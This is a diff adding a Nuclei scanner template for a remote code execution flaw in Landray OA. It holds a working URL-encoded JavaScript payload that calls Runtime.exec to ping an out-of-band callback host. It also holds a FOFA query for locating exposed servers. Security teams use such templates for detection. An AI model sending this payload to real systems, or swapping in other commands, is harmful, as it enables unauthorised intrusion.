landray-oa-datajson-rce

http/vulnerabilities/other/landray-oa-datajson-rce.yaml

@@ -0,0 +1,31 @@
+id: landray-oa-datajson-rce
+
+info:
+  name: Landray OA Datajson S Bean - Remote Code Execution
+  author: SleepingBag945
+  severity: critical
+  description: Landray-OA s_bean sysFormulaSimulateByJS RCE
+  reference:
+    - https://github.com/k3sc/Landray-oa-rce-1/blob/main/poc.py
+  metadata:
+    max-request: 1
+    verified: true
+    fofa-query: app="Landray-OA系统"
+  tags: landray,rce
+
+
+http:
+  - raw:
+      - |
+        GET /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20{{interactsh-url}}%22%29&type=1 HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Connection:close
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "success") && contains(body, "true")'
+        condition: and